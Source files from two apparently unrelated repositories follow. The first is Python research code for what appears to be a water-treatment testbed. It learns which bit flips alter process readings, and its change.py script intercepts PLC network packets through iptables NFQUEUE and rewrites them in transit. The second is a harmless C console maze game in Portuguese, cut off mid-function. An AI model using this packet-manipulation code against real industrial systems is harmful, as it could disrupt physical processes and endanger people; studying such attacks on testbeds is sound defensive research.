plt.plot(range(len(testy)), a, 'r', label='predict_test') # plt.legend() # plt.show() def train_gbdt(x, y): model_gbdt = GradientBoostingRegressor( loss='ls' , learning_rate=0.1 , n_estimators=100 , subsample=0.8 , min_samples_split=2 , min_samples_leaf=1 , max_depth=50 , init=None , random_state=None , max_features=None , alpha=0.9 , verbose=0 , max_leaf_nodes=None , warm_start=False ) model_gbdt.fit(x,y) return model_gbdt def train_linear(x, y): model_linear = LinearSVR(C=1, tol=1e-5,max_iter=1000) model_linear.fit(x, y) return model_linear def search(vector,model): vector_list = [] v_list = [] y0 = model.predict([vector[0]]) for i in vector: y = model.predict([i]) diff = abs(y-y0) v_list.append(diff) temp_list = v_list[:] temp_list.sort(reverse=True) for i in range(10): vector_list.append(vector[v_list.index(temp_list[i])]) return vector_list while True: try: capture_flag1 = read('zmq/capture_flag1.txt') capture_flag2 = read('zmq/capture_flag2.txt') capture_flag3 = read('zmq/capture_flag3.txt') capture_flag4 = read('zmq/capture_flag4.txt') if capture_flag1 == capture_flag2 == capture_flag3 == capture_flag4 == 'True': state_list = '1 0' save('zmq/stage_states.txt', state_list) s1old = np.loadtxt('zmq/stage1old.txt') s1old = s1old.tolist() s2old = np.loadtxt('zmq/stage2old.txt') s2old = s2old.tolist() s3old = np.loadtxt('zmq/stage3old.txt') s3old = s3old.tolist() s4old = np.loadtxt('zmq/stage4old.txt') s4old = s4old.tolist() old_vector = s1old+s2old+s3old+s4old #storage all the modified vector according to search algorithm vector_temp = [] for i in range(2752): temp = bit_flip(old_vector, i) if i == 583: temp = bit_flip(temp, 1279) if i == 1279: temp = bit_flip(temp, 583) if i == 1955: temp = bit_flip(temp, 1959) if i == 1959: temp = bit_flip(temp, 1955) if i == 2643: temp = bit_flip(temp, 2647) if i == 2647: temp = bit_flip(temp, 2643) vector_temp.append(temp) vector_temp = np.array(vector_temp) if algorithm == 'EMCM': if method == 'GBDT': vector_list = EMCM_GBDT(model, 4, model_list, len(vector_temp), vector_temp, 100) if method == 'linear': vector_list = EMCM_linear(model, 4, model_list, len(vector_temp), vector_temp) if algorithm == 'behavior': vector_list = search(vector_temp, model) #start modifying packets for i in range(len(vector_list)): state_list = '0 1' np.savetxt('zmq/newvector.txt', vector_list[i], fmt='%d') time.sleep(2) print 'start modifying packets' save('zmq/stage_states.txt', state_list) time.sleep(30) print 'modifying end' temp_pv = read('zmq/pv1.txt') temp_pv = float('%.4f' % temp_pv) print 'pv_diff', temp_pv for j in range(10): vector.append(vector_list[i]) pv.append(temp_pv) print 'start_training' if method == 'GBDT': model = train_gbdt(vector, pv) if method == 'linear': model = train_linear(vector, pv) joblib.dump(model, sensor + '/' + method + '/' + sensor + '_' + method + '_'+algorithm+'_' + str(count) + ".pkl") count += 1 print 'rount',count print 'training over' state_list = '0 0' save('zmq/stage_states.txt', state_list) np.save(sensor + '/' + method + '/' + sensor + '_new_' + method + '_' + algorithm + '.npy', vector) np.savetxt(sensor + '/' + method + '/' + sensor + '_new_' + method + '_' + algorithm + '_diff30.txt', pv, fmt='%.4f') else: time.sleep(1) except KeyboardInterrupt: state_list = '0 0' save('zmq/stage_states.txt', state_list) print 'stop modifying and prediction' break ``` change.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- from scapy.all import * import random import time import numpy as np #from bitdump import * import binascii import CIP_sequence #from modify_bit import * from netfilterqueue import NetfilterQueue import zmq from AL_utils import * p2_50 = np.zeros(394, dtype=int) p2_40 = np.zeros(314, dtype=int) p2_28 = np.zeros(218, dtype=int) p0_40 = np.zeros(314, dtype=int) total_length = len(p2_50)+len(p2_40)+len(p2_28)+len(p0_40) vector = np.hstack((p2_50,p2_40,p2_28,p0_40)) vector = vector.tolist() modify_time = 0 modify_flag = 1 accept_flag = 0 capture_flag = 'False' count = 0 start_time = 0 check_time = 0 time_interval = 30 new_vector = np.loadtxt('newvector.txt') new_vector = new_vector.tolist() new_vector[581] = 0 new_vector[583] = 0 print new_vector[581],new_vector[583] def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() def read(filename): fh = open(filename, 'r') contents = fh.read() fh.close() return contents def preprocess(x): temp = x.strip('[') temp = temp.strip(']') final = np.fromstring(temp, dtype=int, sep='. ') return final def handle_packet(packet): global modify_flag global accept_flag global modify_time global count global vector global start_time global capture_flag global check_time pkt = IP(packet.get_payload()) if modify_flag == 1: start_time = time.time() if pkt.haslayer('Raw'): if pkt['IP'].src == '192.168.0.12' and len(pkt['Raw']) == 32: rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,1,1)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['IP'].len del pktnew['UDP'].chksum del pktnew['UDP'].len packet.set_payload(str(pktnew)) if pkt['IP'].src == '192.168.0.12' and len(pkt['Raw']) == 22: rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,1,2)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['IP'].len del pktnew['UDP'].chksum del pktnew['UDP'].len packet.set_payload(str(pktnew)) if pkt['IP'].src == '192.168.0.12' and len(pkt['Raw']) == 10: rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,1,3)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['IP'].len del pktnew['UDP'].chksum del pktnew['UDP'].len packet.set_payload(str(pktnew)) if pkt['IP'].src == '192.168.0.10' and len(pkt['Raw']) == 22: a = time.time() rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,1,4)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['IP'].len del pktnew['UDP'].chksum del pktnew['UDP'].len packet.set_payload(str(pktnew)) print time.time()-a packet.accept() if __name__ == '__main__': os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1') nfqueue = NetfilterQueue() nfqueue.bind(1, handle_packet,10) try: print "[*] starting NFQUEUE" start_time = time.time() check_time = time.time() print "start_time", start_time nfqueue.run() except KeyboardInterrupt: os.system('sudo iptables -t mangle -F') print "[*] stopping NFQUEUE" nfqueue.unbind() ``` _PLC6.py ``` # -*- coding: utf-8 -*- # Copyright (c) 2018 Beebi Siti Salimah Binte Liyakkathali, liyakkathali@sutd.edu.sg # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from scapy import all as scapy_all import enip_cpf __all__ = ['SWAT_P6_RIO_DO', 'SWAT_P6_RIO_DI', 'SWAT_P6_RIO_AI'] class SWAT_P6_RIO_DO(scapy_all.Packet): name = "SWAT_P6_RIO_DO" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.ByteField('number', 0), scapy_all.StrFixedLenField('reserved', 0, length=5), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P603_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P602_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P601_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), ] class SWAT_P6_RIO_DI(scapy_all.Packet): name = 'SWAT_P6_RIO_DI' fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.BitEnumField('P602_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P602_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P602_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P601_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P601_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P601_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('RIO6_Wifi', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('PLC6_Wifi', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS603_Low', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS602_High', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS602_Low', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS601_High', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS601_Low', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P603_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P603_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P603_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS603_High', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), ] class SWAT_P6_RIO_AI(scapy_all.Packet): name = "SWAT_P6_RIO_AI" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.LEShortField('FIT601_Flow', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), ] scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222) scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P6_RIO_AI, length=32) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P6_RIO_DI, length=10) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P6_RIO_DO, length=22) ```
yuredev/ringo-game
yuredev/ringo-game README.md ```# Ringo ### Jogo de labirinto com inspiraรงรฃo no Pacman da Namco O Jogo foi desenvolvido para o terminal do Windows, utilizando apenas a linguagem C, sem a utilizaรงรฃo de qualquer biblioteca ou framework. Desenvolvido como trabalho final da disciplica de Lรณgica Computacional e Algoritmos do primeiro periรณdo da graduaรงรฃo de Anรกlise e Desenvolvimento de Sistemas na UFRN. O objetivo do jogo consiste em capturar todos os aneis sem que o inimigo consiga alcanรงar o jogador. Capturando todos os aneis รฉ possรญvel passar de fase. O jogo atualmente conta com 3 fases e possui mecanicas como poder de congelamento e teletransporte. ### Para jogar execute o Ringo.exe presente na pasta raiz deste repositรณrio ## Tela de Jogo ![TelaDeJogo](ImagesReadMe/RingoJogo.PNG) <br /> ## Menu ![Menu](ImagesReadMe/RingoMenu.PNG) ``` colors.h ```#define CIANO "\033[36m" #define PRETO "\033[30m" #define AZUL "\033[34m" #define VERMELHO "\x1b[31m" #define CINZA "\e[0;37m" #define BRANCO "\033[37m" #define VERDE "\033[32m" #define BRANCO "\033[37m" #define FUNDOPRETO "\033[0;0m" #define FUNDOAZUL "\033[44m" #define AMARELO "\033[33m" #define ROXO "\033[1;35m" #define FUNDOBRANCO "\033[47m" ``` game.h ```#include <stdio.h> #include <stdlib.h> #include <windows.h> #include <conio.h> #include <stdbool.h> #include <time.h> #include <string.h> #include "colors.h" typedef unsigned char uchar; // estrutura do jogador e inimigo struct agente { int linha; int coluna; char categoria[8]; }; // funcao que para manipular o menu principal do jogo char opcaoMenu(char tecla, uchar op) { if((tecla == 'W' || tecla == 'w' || tecla == 72) && op > 1) op--; else if((tecla == 'S' || tecla == 's' || tecla == 80) && op < 4) op++; return op; } // funcao que mostra o nome do jogo no menu principal, apenas para a estetica do jogo void letreiro() // somente estetica { printf(FUNDOBRANCO PRETO "\n\t\t " "\n\t\t %c%c%c%c%c %c %c%c %c %c%c%c%c%c%c %c%c%c%c%c%c%c%c%c " "\n\t\t %c %c %c %c%c %c %c %c %c " "\n\t\t %c %c %c %c %c %c %c %c %c " "\n\t\t %c%c%c%c%c %c %c %c %c %c %c%c%c%c%c %c %c " "\n\t\t %c %c %c %c %c %c %c %c %c %c " "\n\t\t %c %c %c %c %c %c %c %c %c %c " "\n\t\t %c %c %c %c %c%c %c%c%c%c%c%c %c%c%c%c%c%c%c%c%c " "\n\t\t " FUNDOPRETO CINZA ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219 ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219 ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219 ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219 ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219 ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219 ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219 ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219 ,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219); } // funcao que escreve una linha no terminal de acordo com o tamanho informado void writeLine(uchar tam) // escreve uma linha { uchar i; for(i = 0; i < tam; i++) printf("%c",219); printf("\n"); } // funcao que move o cursor do terminal, equivalente ao gotoxy() void moverCursor(int linha, int coluna, bool aPartirDaMatriz) // move o cursor { if(aPartirDaMatriz) SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){coluna * 2 + 9, linha + 4}); else SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){coluna - 1, linha -1}); } // funcao que teleporta o jogador no cenario agente teletransporte(agente jogador, char cenario[25][25]) { moverCursor(jogador.linha, jogador.coluna, true); printf(ROXO "%c%c" CINZA, 178,178); if(jogador.linha < 5) // identificar qual porta de teletransporte { jogador.linha = 23; jogador.coluna = 12; } else { jogador.linha = 0; jogador.coluna = 23; } return jogador; } // funcao que realiza as mudancas nas posicoes do jogador agente acaoJogador(char direcao, agente jogador, char cenario[25][25], bool *gelo) // mexe o jogador no cenario { // apagar o jogador da tela moverCursor(jogador.linha, jogador.coluna, true); printf(" "); if(cenario[jogador.linha][jogador.coluna] == 't') // teletransporte jogador = teletransporte(jogador, cenario); else // se nao for teleteransportar a movimentacao ocorre normalmente { if(direcao == 'W' || direcao == 72) // CIMA direcao = 'w'; else if(direcao == 'A' || direcao == 75) // ESQUERDA direcao = 'a'; else if(direcao == 'S' || direcao == 80) // BAIXO direcao = 's'; else if(direcao == 'D' || direcao == 77) // DIREITA direcao = 'd'; switch(direcao) { // o jogador so mexe se a proxima casa nao houver paredes. isso se aplica a todos os cases case 'w': if(jogador.linha > 0 && cenario[jogador.linha - 1][jogador.coluna] != 'p') jogador.linha--; break; case 'a': if(jogador.coluna > 0 && cenario[jogador.linha][jogador.coluna - 1] != 'p') jogador.coluna--; break; case 's': if(jogador.linha < 24 && cenario[jogador.linha + 1][jogador.coluna] != 'p') jogador.linha++; break; case 'd': if(jogador.coluna < 24 && cenario[jogador.linha][jogador.coluna + 1] != 'p') jogador.coluna++; break; } } // verifica se o jogador pegou o gelo e se sim ele seta o valor de gelo para verdadeiro if(cenario[jogador.linha][jogador.coluna] == 'g') { *gelo = true; // setar o gelo para true, isso congela o inimigo cenario[jogador.linha][jogador.coluna] = '0'; // sumir com o gelo, apos captura } // mostrar o jogador ja nas novas posicoes moverCursor(jogador.linha, jogador.coluna, true); printf("%c",254); moverCursor(25, 0,true); return jogador; // retornar jogador ja com as novas posicoes } // funcao que mexe o inimigo no cenario agente acaoInimigo(agente inimigo, agente jogador, char cenario[25][25], uchar fase) { char direcao; // apagar o inimigo da tela no cenario moverCursor(inimigo.linha, inimigo.coluna, true); printf(" "); // condicao gigante para verificacao para desvio de paredes. (obs: separei o if em 3 partes para melhor compreensao, ou talvez ne...) // a primeira parte eh para limitar para nao passar da parede que preenche a tela inteira na fase 3 if(!(fase == 3 && (inimigo.linha == 7 || inimigo.linha == 5)) && !strcmp(inimigo.categoria,"inimigo") && ((inimigo.linha < jogador.linha && cenario[inimigo.linha + 1][inimigo.coluna] == 'p') || // se tiver uma parede abaixo do inimigo (inimigo.linha > jogador.linha && cenario[inimigo.linha - 1][inimigo.coluna] == 'p'))) // se tiver uma parede acima do inimigo { if(jogador.coluna > 12) // se o jogador estiver do lado direito do cenario direcao = 'd'; // setei ele para desviar da parede pela direita else // se estiver do lado esquerdo do cenario direcao = 'a'; // setei ele para desviar da parede pela esquerda } else if(inimigo.linha == jogador.linha) // se o inimigo tiver na mesma linha do jogador ele move-se em linha reta { if(inimigo.coluna < jogador.coluna) // se o inimigo estiver a esquerda do jogador direcao = 'd'; // ele deve se movimentar a direita else // caso contrario ele esta a direita direcao = 'a'; // entao movimenta-se para esquerda } else if(inimigo.coluna == jogador.coluna) // se o inimigo tiver na mesma coluna do jogador ele move-se em linha reta { if(inimigo.linha < jogador.linha) // se o inimigo estiver acima do jogador direcao = 's'; // ele deve se movimentar para baixo else // caso contrario, ele esta abaixo direcao = 'w'; // ele deve se movimentar para cima } else if(rand() % 2 == 0) // 50% de chance do inimigo mover-se no eixo horizontal direcao = (inimigo.coluna < jogador.coluna) ? 'd' : 'a'; // mexer no eixo horizontal else // 50% de chance do inimigo mover-se no eixo vertical direcao = (inimigo.linha < jogador.linha) ? 's' : 'w'; // mexer no eixo vertical switch(direcao) { case 'w': if(cenario[inimigo.linha-1][inimigo.coluna] != 'p') // limitacao para nao ultrapassar paredes inimigo.linha--; break; case 's': if(cenario[inimigo.linha+1][inimigo.coluna] != 'p') // limitacao para nao ultrapassar paredes inimigo.linha++; break; case 'a': if(cenario[inimigo.linha][inimigo.coluna-1] != 'p') // limitacao para nao ultrapassar paredes inimigo.coluna--; break; case 'd': if(cenario[inimigo.linha][inimigo.coluna+1] != 'p') // limitacao para nao ultrapassar paredes inimigo.coluna++; break; } if(cenario[inimigo.linha][inimigo.coluna] == 'g') // se o inimigo passar por cima do gelo, o gelo desaparece cenario[inimigo.linha][inimigo.coluna] = '0'; // printar o inimigo na nova posicao do cenario moverCursor(inimigo.linha, inimigo.coluna, true); printf(VERMELHO"%c" CINZA, 254); moverCursor(25, 0,true); return inimigo; } // funcao que faz a geracao de aneis na fase int gerarAneis(char cenario[25][25], uchar fase) // gera os Aneis da fase { uchar qtdAneisFase; uchar l,c; srand(time(NULL)); switch(fase) // definir quantas Aneis serao geradas de acordo com a fase { case 1: qtdAneisFase = 20; break; case 2: qtdAneisFase = 25; break; case 3: qtdAneisFase = 30; } for(int i = 0; i < qtdAneisFase; i++) { do { l = rand() % 25; c = rand() % 25; if(cenario[l][c] == '0') // verifica se esta disponivel a posicao para colocar um anel { cenario[l][c] = 'a'; break; } }while(cenario[l][c] != '0'); // repita ate que as coordenadas geradas para o anel estejam disponiveis } return qtdAneisFase; } // funcao que reseta as posicoes do agente, sendo este inimigo ou o jogador. Isto de acordo com a fase agente resetarPosicoes(agente x, uchar fase) { switch(fase) { case 1: if(!strcmp(x.categoria, "inimigo")) // se o agente for inimigo { x.linha = 16; x.coluna = 10; } else // se o agente for jogador { x.linha = 3; x.coluna = 9; } break; case 2: if(!strcmp(x.categoria, "inimigo")) // se o agente for inimigo { x.linha = 20; x.coluna = 21; } else // se o agente for jogador { x.linha = 0; x.coluna = 10; } break; case 3: if(!strcmp(x.categoria, "inimigo")) //se o agente for inimigo { x.linha = 7; x.coluna = 22; } else if(!strcmp(x.categoria, "jogador")) // se o agente for jogador { x.coluna = 0; x.linha = 22; } else // se o agente for o segundo inimigo da fase 3 { x.linha = 5; x.coluna = 6; } } return x; } // funcao que escreve na tela o cenario do jogo void mostrarJogo(char cenario[25][25], agente jogador, agente inimigo, agente inimigo2) // mostra a tela de jogo { uchar i,j; printf("\n\n\t"); writeLine(52); // parede superior do cenario for(i = 0; i < 25; i++) { printf("\t%c",219); // limite do cenario, parede vertical do inicio for(j = 0; j < 25; j++) { if(cenario[i][j] == 't') //mostrar teletransporte printf(ROXO "%c%c" CINZA,178,178); else if(cenario[i][j] == 'g') // mostrar gelo printf(CIANO "# " CINZA); else if(i == inimigo2.linha && j == inimigo2.coluna) // mostrar segundo inimigo (fase 2) printf(VERMELHO "%c " CINZA,254); else if(i == inimigo.linha && j == inimigo.coluna) // mostrar inimigo printf(VERMELHO "%c " CINZA,254); else if(i == jogador.linha && j == jogador.coluna) // mostrar jogador printf("%c ",254); else if(cenario[i][j] == '0') // mostrar espaรƒยงo vazio printf(" "); else if(cenario[i][j] == 'p') // mostrar paredes printf("%c%c", 178,178); else if(cenario[i][j] == 'a') //mostrar aneis printf(AMARELO "o " CINZA); } printf("%c",219); // limite do cenario, parede vertical do fim printf("\n"); } printf("\t"); writeLine(52); // parede inferior do cenario printf("\n\t"); } // funcao que verifica se o inimigo tocou no jogador bool wasTouched(agente jogador, agente inimigo, agente inimigo2) { bool touch = false; // verifica se o inimigo 1 ou 2 esta na mesma cordenada do jogador if((jogador.linha == inimigo.linha && jogador.coluna == inimigo.coluna) || (jogador.linha == inimigo2.linha && jogador.coluna == inimigo2.coluna)) touch = true; // verifica se o inimigo 1 ou 2 esta a um bloco a direita do jogador else if((jogador.linha-1 == inimigo.linha && jogador.coluna == inimigo.coluna) || (jogador.linha-1 == inimigo2.linha && jogador.coluna == inimigo2.coluna)) touch = true; // verifica se o inimigo 1 ou 2 esta a um bloco a esquerda do jogador else if((jogador.linha+1 == inimigo.linha && jogador.coluna == inimigo.coluna) || (jogador.linha+1 == inimigo2.linha && jogador.coluna == inimigo2.coluna)) touch = true; // verifica se o inimigo 1 ou 2 esta um bloco acima do jogador else if((jogador.linha == inimigo.linha && jogador.coluna-1 == inimigo.coluna) || (jogador.linha == inimigo2.linha && jogador.coluna-1 == inimigo2.coluna)) touch = true; // verifica se o inimigo 1 ou 2 esta a um bloco abaixo do jogador else if((jogador.linha == inimigo.linha && jogador.coluna+1 == inimigo.coluna) || (jogador.linha == inimigo2.linha && jogador.coluna+1 == inimigo2.coluna)) touch = true; return touch; } // funcao que constroi uma parede horizontal na matriz do cenario do jogo void fazerParede(uchar linha, uchar inicioParede, uchar fimParede, char cenario[25][25]) { for(; inicioParede <= fimParede; inicioParede++) cenario[linha][inicioParede] = 'p'; } // funcao que monta o cenario do jogo de acrodo com a fase void montarCenario(uchar fase, char cenario[25][25], agente jogador) { uchar i,j; uchar limite; // usada para construir o cenario da fase 2 for(i = 0; i < 25; i++) // zerar cenario para construir o novo for(j = 0; j < 25; j++) cenario[i][j] = '0'; switch(fase) // monta as paredes do cenario de acordo com a fase { case 1: cenario[10][1] = 'g'; cenario[23][20] = 'g'; for(j = 2; j < 23; j+=2) cenario[4][j] = 'p'; fazerParede(7,2,12,cenario); fazerParede(10, 14, 23, cenario); fazerParede(13, 2, 12, cenario); for(j = 4; j < 21; j+=4) cenario[15][j] = 'p'; for(j = 1; j < 11; j+=1) cenario[18][j] = 'p'; for(j = 13; j < 24; j+=1) cenario[18][j] = 'p'; for(j = 2; j < 23; j+=3) cenario[21][j] = 'p'; break; case 2: cenario[8][3] = 'g'; cenario[23][20] = 'g'; for(j = 1; j < 24; j++) { if((j+2) % 2 == 1) // j + 2 para nao dar erro na divisรƒยฃo por 2. numero par + 2 continua par. impar + 2 continua impar { cenario[10][j] = 'p'; cenario[14][j] = 'p'; } else cenario[12][j] = 'p'; } fazerParede(3, 2, 12, cenario); fazerParede(5, 14, 23, cenario); fazerParede(7, 2, 12, cenario); fazerParede(18, 14, 23, cenario); fazerParede(20, 2, 12, cenario); fazerParede(22, 14, 23, cenario); break; case 3: cenario[1][5] = 'g'; cenario[0][24] = 't'; // teletransportes cenario[1][24] = 't'; fazerParede(24, 0, 24, cenario); cenario[24][11] = 't'; cenario[24][12] = 't'; cenario[24][13] = 't'; j = 2; limite = 3; for(i = 0; i < 8; i++) { fazerParede(2, j, limite, cenario); j = limite+2; limite += 3; } j = 1; limite = 2; for(i = 0; i < 8; i++) { fazerParede(4, j, limite, cenario); j = limite+2; limite += 3; } fazerParede(6, 0, 24, cenario); for(j = 1; j < 24; j++) { if((j+2) % 2 == 1) // j + 2 para nao dar erro na divisรƒยฃo por 2. numero par + 2 continua par. impar + 2 continua impar { cenario[9][j] = 'p'; } else cenario[11][j] = 'p'; } fazerParede(14, 2, 22, cenario); for(j = 1; j < 24; j++) { if((j+2) % 2 == 1) // j + 2 para nao dar erro na divisรƒยฃo por 2. numero par + 2 continua par. impar + 2 continua impar { cenario[19][j] = 'p'; } else cenario[17][j] = 'p'; } } } // funcao que faz a animacao de derrota do jogo void animacaoDerrota() { const uchar tempo = 100; printf("G"); Sleep(tempo); printf("A"); Sleep(tempo); printf("M"); Sleep(tempo); printf("E"); Sleep(tempo); printf(" "); Sleep(tempo); printf("O"); Sleep(tempo); printf("V"); Sleep(tempo); printf("E"); Sleep(tempo); printf("R"); Sleep(tempo); printf(" !"); Sleep(tempo); printf("!"); Sleep(tempo); printf("!\n\n\t"); } // funcao que faz a animacao de vitoria do jogo void animacaoVitoria(uchar fase) { const uchar tempo = 100; printf("F"); Sleep(tempo); printf("A"); Sleep(tempo); printf("S"); Sleep(tempo); printf("E"); Sleep(tempo); printf(" %d ", fase); Sleep(tempo); printf("C"); Sleep(tempo); printf("O"); Sleep(tempo); printf("M"); Sleep(tempo); printf("P"); Sleep(tempo); printf("L"); Sleep(tempo); printf("E"); Sleep(tempo); printf("T"); Sleep(tempo); printf("A"); Sleep(tempo); printf(" !"); Sleep(tempo); printf("!\n\n\t"); Sleep(tempo); } ``` Ringo.cpp ```#include "game.h" #define ESPERA 120 /* Observacoes: Somente compativel com o Windows 10 */ void mostrarMenu(char opcao); void creditos(); void manual(); int jogo(uchar fase); int main() { uchar fase = 1; uchar opcao = 1; char tecla; SetConsoleTitle("*** R I N G O ***"); HWND hwnd = GetConsoleWindow(); if(hwnd != NULL) MoveWindow(hwnd ,150,50 ,590, 425, TRUE); // ajustar tamanho da janela do { if(kbhit()) // se alguma coisa foi teclada { tecla = getch(); if(tecla == 13) // se o usuรกrio teclar enter { switch(opcao) { case 1: fase = jogo(fase); if(hwnd != NULL) MoveWindow(hwnd ,150,50 ,590, 425, TRUE); break; case 2: manual(); break; case 3: MoveWindow(hwnd ,150,50 ,590, 300, TRUE); creditos(); MoveWindow(hwnd ,150,50 ,590, 425, TRUE); break; case 4: system("cls"); printf("Jogo encerrado, obrigado por jogar :)\n\n"); printf("\n\n"); return 0; } } else // se a tecla digitada nao for enter eh pq talvez foi alguma opcao do menu opcao = opcaoMenu(tecla, opcao); } system("cls"); letreiro(); mostrarMenu(opcao); // apenas mostra o menu de acordo com as opcoes printf(AMARELO"Navegacao: "CINZA); printf("\n\t\t "); printf(AMARELO"W - cima, S - baixo, Enter - confirmar" CINZA); moverCursor(20,1,false); setbuf(stdin,NULL); while(!kbhit()); // para a tela nao ficar piscando }while(1); } int jogo(uchar 